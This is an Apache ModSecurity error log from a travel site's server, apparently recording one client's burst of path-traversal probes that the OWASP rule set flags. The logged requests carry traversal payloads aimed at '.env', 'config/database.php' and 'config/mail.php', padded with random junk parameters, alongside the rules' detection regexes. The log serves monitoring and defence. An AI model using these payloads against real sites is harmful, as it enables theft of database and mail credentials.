[Fri Jul 17 08:55:07.329131 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfJwAAAA8"]
[Fri Jul 17 08:55:07.329241 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfJwAAAA8"]
[Fri Jul 17 08:55:07.331319 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfJwAAAA8"]
[Fri Jul 17 08:55:07.331780 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.333089 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2Fconfig%2Fdatabase.php&ts=zQrXVH_n8wMPAAT6z99Cfx2SSShb9q_fkV6KpxaEs1E31AD3jGvy6m6oD55Kx8QeyoSme-m7yIrmlzvCF7DIJGV0YDzf7cVl7DqiuDOei8VxT2qgoVAQsOEVnmIQsF02ZIEQJ6Ba8jh3i6ZC2_z-NUbyZfc3PyFaf9ulxbihgAimb8b4gVjXuknUGZ9_iM_OCha_STpmMzmYYYD6mLqxasGrljqkVM_1WnaJi6ctq0HazpwvXVCGpCvIa_D05SG26HNYu3IpRjNom0jiUN4yXZLL&junk=ZKTS7EAZ7K2DM6CXQUKNLAXPA2XFAUWPZB647JFI4GTZTN4MDK3MZX4VZEGPALG6TNC5NHZ4QBRMDDCHI7GIBAZ3CTLYS4XD774XGJKQPZ2ZIRFTM7P2ORS36B2FDIK7G..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.333129 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.333175 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../config/database.php&ts=zQrXVH_n8wMPAAT6z99Cfx2SSShb9q_fkV6KpxaEs1E31AD3jGvy6m6oD55Kx8QeyoSme-m7yIrmlzvCF7DIJGV0YDzf7cVl7DqiuDOei8VxT2qgoVAQsOEVnmIQsF02ZIEQJ6Ba8jh3i6ZC2_z-NUbyZfc3PyFaf9ulxbihgAimb8b4gVjXuknUGZ9_iM_OCha_STpmMzmYYYD6mLqxasGrljqkVM_1WnaJi6ctq0HazpwvXVCGpCvIa_D05SG26HNYu3IpRjNom0jiUN4yXZLL&junk=ZKTS7EAZ7K2DM6CXQUKNLAXPA2XFAUWPZB647JFI4GTZTN4MDK3MZX4VZEGPALG6TNC5NHZ4QBRMDDCHI7GIBAZ3CTLYS4XD774XGJKQPZ2ZIRFTM7P2ORS36B2FDIK7GVDFWZ4Z6RNOU2B..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.333200 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../config/database.php&ts=zqrxvh_n8wmpaat6z99cfx2ssshb9q_fkv6kpxaes1e31ad3jgvy6m6od55kx8qeyosme-m7yirmlzvcf7dijgv0ydzf7cvl7dqiudoei8vxt2qgovaqsoevnmiqsf02zieqj6ba8jh3i6zc2_z-nubyzfc3pyfaf9ulxbihgaimb8b4gvjxuknugz9_im_ocha_stpmmzmyyyd6mlqxasgrljqkvm_1wnaji6ctq0hazpwvxvcgpcvia_d05sg26hnyu3iprjnom0jiun4yxzll&junk=zkts7eaz7k2dm6cxquknlaxpa2xfauwpzb647jfi4gtztn4mdk3mzx4vzegpalg6tnc5nhz4qbrmddchi7gibaz3ctlys4xd774xgjkqpz2zirftm7p2ors36b2fdik7gvdfwz4z6rnou2b..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.333227 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.333252 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.333340 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:src: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.333381 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk-1pLmPpy2r_2CxfJwAAAA8"]
[Fri Jul 17 08:55:07.334517 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.334664 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.334949 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlJAAAAA0"]
[Fri Jul 17 08:55:07.339415 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETargAAAAo"]
[Fri Jul 17 08:55:07.339457 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETargAAAAo"]
[Fri Jul 17 08:55:07.340639 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETargAAAAo"]
[Fri Jul 17 08:55:07.340767 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.341105 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkzsMb3am0TgkjETargAAAAo"]
[Fri Jul 17 08:55:07.393658 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2Fconfig%2Fmail.php&anything=6jDxNUvrZrRY2Y3piChQCxKf6EfEPLkAzv4Sjm1ccMycIcU3zyULM7TT5PacUzwUt3umBVfkV2dDw3tjSXYiul5muN_qT99QlMCTmz9ushXbhlM63ZLn-B7b-YEp5kBCFQy_67rWR5CZVkgZOCZDzBHXORLhH2iMnylsxxpCQrWp2zT-12stFQSwwMYFZsKiwN3yml-EKld8x21-uJ6YUyg1-kOuWjA7aebs2NVA76z1Lc0gqM4s-SEPzr1qp3PdqZ1KFc6VQSIkUGkI1vWkcjXy&extra=VQYDXMELKPMS42AQKHCCBFFLZCHVQRLDIJ2KRTWGWLVJ2LXJK5F7OBKVYMM6WAONRA2VCT6HCCD2L5CHV6JHWX5W63NK6S3QTV2QCNGDJ642NASCEI4B3TU7VXUVSL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28gAAACM"]
[Fri Jul 17 08:55:07.393708 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28gAAACM"]
[Fri Jul 17 08:55:07.393754 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../config/mail.php&anything=6jDxNUvrZrRY2Y3piChQCxKf6EfEPLkAzv4Sjm1ccMycIcU3zyULM7TT5PacUzwUt3umBVfkV2dDw3tjSXYiul5muN_qT99QlMCTmz9ushXbhlM63ZLn-B7b-YEp5kBCFQy_67rWR5CZVkgZOCZDzBHXORLhH2iMnylsxxpCQrWp2zT-12stFQSwwMYFZsKiwN3yml-EKld8x21-uJ6YUyg1-kOuWjA7aebs2NVA76z1Lc0gqM4s-SEPzr1qp3PdqZ1KFc6VQSIkUGkI1vWkcjXy&extra=VQYDXMELKPMS42AQKHCCBFFLZCHVQRLDIJ2KRTWGWLVJ2LXJK5F7OBKVYMM6WAONRA2VCT6HCCD2L5CHV6JHWX5W63NK6S3QTV2QCNGDJ642NASCEI4B3TU7VXUVSLRE5WLQGQC4DNRX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28gAAACM"]
[Fri Jul 17 08:55:07.393798 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../config/mail.php&anything=6jdxnuvrzrry2y3pichqcxkf6efeplkazv4sjm1ccmycicu3zyulm7tt5pacuzwut3umbvfkv2ddw3tjsxyiul5mun_qt99qlmctmz9ushxbhlm63zln-b7b-yep5kbcfqy_67rwr5czvkgzoczdzbhxorlhh2imnylsxxpcqrwp2zt-12stfqswwmyfzskiwn3yml-ekld8x21-uj6yuyg1-kouwja7aebs2nva76z1lc0gqm4s-sepzr1qp3pdqz1kfc6vqsikugki1vwkcjxy&extra=vqydxmelkpms42aqkhccbfflzchvqrldij2krtwgwlvj2lxjk5f7obkvymm6waonra2vct6hccd2l5chv6jhwx5w63nk6s3qtv2qcngdj642nascei4b3tu7vxuvslre5wlqgqc4dnrx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28gAAACM"]
[Fri Jul 17 08:55:07.393831 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28gAAACM"]
[Fri Jul 17 08:55:07.393861 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28gAAACM"]
[Fri Jul 17 08:55:07.394195 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJQAAAA0"]
[Fri Jul 17 08:55:07.394229 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJQAAAA0"]
[Fri Jul 17 08:55:07.395373 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJQAAAA0"]
[Fri Jul 17 08:55:07.395515 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.395819 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlJQAAAA0"]
